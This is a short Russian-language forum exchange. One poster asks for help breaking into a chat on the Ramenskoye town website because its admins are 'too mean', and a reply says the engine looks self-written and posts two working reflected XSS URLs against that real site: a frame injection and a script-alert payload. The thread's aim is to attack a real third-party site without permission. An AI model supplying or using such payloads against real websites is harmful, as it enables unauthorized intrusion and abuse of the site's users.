Короче говоря ситуэйшн такой... Есть на сайте раменского - чат... Вот ссыль: на чат И там - уж очень злые админы... Вообще говоря - если чат на майл.ру - был лёгкой добычей, то этот оказался настолько прост, что в нём нет ни модерации, ни чего-либо ещё... Просто тупой бан раз в сутки если админу кто-то настучит. Дело в том что стандартным методом - по ссылкам - не канает... Тегов тоже нет особенно то... Может быть они его сами писали??? Короче для успешного взлома этой гадости - нужно хотя бы знать движок чата. Если кто то опознает - то отзовитесь плиз))
движок похож на самописный. несколько xss есть. http://www.ramenskoye.ru/?action=chat&menu=%22%3E%3Cframe%20src=http://ya.ru%3E http://www.ramenskoye.ru/?action=deputies"></a><script>alert(1)</script>